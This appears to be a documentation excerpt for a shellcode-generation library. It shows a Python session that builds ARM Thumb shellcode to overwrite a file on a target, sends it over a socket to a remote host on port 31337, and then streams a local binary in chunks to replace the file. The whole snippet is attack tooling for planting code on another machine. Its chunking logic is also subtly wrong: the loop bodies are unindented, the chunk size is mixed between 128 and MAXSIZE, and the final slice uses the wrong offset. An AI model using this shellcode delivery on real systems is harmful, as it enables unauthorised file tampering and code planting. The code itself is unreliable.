open a file for reading/writing/sending to you
overwrites a file with user’s data
>>> HOST = 'hostname'
>>> PORT = 31337
>>> MAXSIZE = 128
>>> sc = scgen.overwrite('./binary', 4)
>>> sc += scgen.exit(0)
>>> xsc = CompileSC( (sc), isThumb=True)
>>> s = socket(AF_INET, SOCK_STREAM)
>>> s.connect( (HOST, PORT) )
>>> f = s.makefile('rw', bufsize=0)
>>> f.write(xsc + '\n')
>>> data = open('/path/to/binary', 'rb').read()
>>> size = len(data)
>>> mod = size % MAXSIZE
>>> div = size / MAXSIZE
>>> for i in range(0, div):
>>> f.write(data[i*128:(i+1)*MAXSIZE])
>>> if div:
>>> f.write(data[mod*MAXSIZE:])